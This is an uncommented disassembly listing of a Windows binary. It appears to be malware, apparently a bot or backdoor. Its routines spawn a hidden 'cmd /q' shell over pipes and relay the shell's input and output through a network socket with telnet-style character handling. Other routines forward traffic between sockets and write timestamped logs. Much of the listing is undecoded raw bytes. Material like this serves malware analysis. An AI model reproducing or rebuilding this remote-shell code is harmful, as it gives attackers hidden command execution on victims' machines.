loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi

loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2680000h
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEE8[eax], ecx
		nop
		call	near ptr 2670909h
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------

loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_4344A4
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C

loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032

loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------

loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344E4
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFBC
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		call	near ptr 2790000h
		nop
		jmp	short loc_41117C
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx

loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_4111C8

loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 0A415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CB02415h, 8BF88B00h, 0C069C445h, 234h
		dd 0ECB88953h, 8D0043DEh, 5750EC45h, 0AFD015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	0CC15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8EC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB038h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B03015FFh, 8D50004Ch, 0FFFD2C85h, 459068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEE4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	27F213E8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEF48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 27F161E8h,	0E8EDEB02h
		dd 227FA9Eh, 858D5090h,	0FFFFFD2Ch, 43455468h, 1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B03C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 434520h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022DECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0ECB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 8C15FFFFh, 85004CAFh, 0FF1875C0h, 3C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Dh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAFBCh, 187FC085h
		dd 15FF36FFh, 4CB03Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
		dd 22DEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43465868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFF415FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Dh,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0B02415FFh, 0F88B004Ch, 75FFFF83h, 3815FF5Dh, 50004CAFh
		dd 43461868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFF415FFh
		dd 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 2DEA4FE8h, 458D9002h, 50106AE8h, 4C15FF57h, 83004CAFh
		dd 5D75FFF8h, 0AF3815FFh, 6850004Ch, 4345D4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFF415h, 0FF36FF00h,	4CB03C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2DE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFF415h, 5736FF00h, 39E8h, 57595900h
		dd 0B03C15FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 0E982E890h, 36FF022Dh, 0B03C15FFh, 75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
		db 2Dh,	2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4

loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE90
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791

loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE90
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC

loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CB02415h, 83F08B00h, 5675FFFEh, 19068h, 0ECC4E800h
		dd 39900227h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 2DE7CBE8h, 458D9002h
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 8415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	8415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEECh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AFA415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFD015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0EBFCE890h, 8DFF0227h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 0E8000001h, 227EBCAh, 858D5390h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Dh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF8C15h, 0FC08500h, 2398Eh
		dd 0D158A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF7C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B03015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CB00815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 4346C4h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CB008h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 0A468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDAAC05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 9868096Ah, 56004346h, 0B00815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB03C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022DE4h
		dd 3E8h, 0E8A8E890h, 0E8570227h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 279013Ch
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-114h]
		push	offset asc_434E84 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------

loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E54
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h

loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax

loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AF2815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 0BB004Ch, 6A000002h,	57E89008h, 0FF0227E7h, 4CAF2815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434EB4h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46EC0845h, 106A0043h, 0AE7815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF7015FFh, 0C4F6004Ch, 6A7B7480h, 7815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 7815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAF2815h, 0B84D8D00h
		dd 50513C6Ah, 0AF4015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E9C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAF28h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF4015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E8868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434E1C08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h
		dd 22DE02Ch
		db 90h
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AFA415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFE415h, 36A5600h,	4589026Ah
		dd 2415FFE8h, 8B004CB0h, 0FFFF83F8h, 75FC7D89h,	3815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 2468FFFFh, 50004358h,	9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 2DDF57E8h, 458B9002h, 69106AD0h, 234C0h
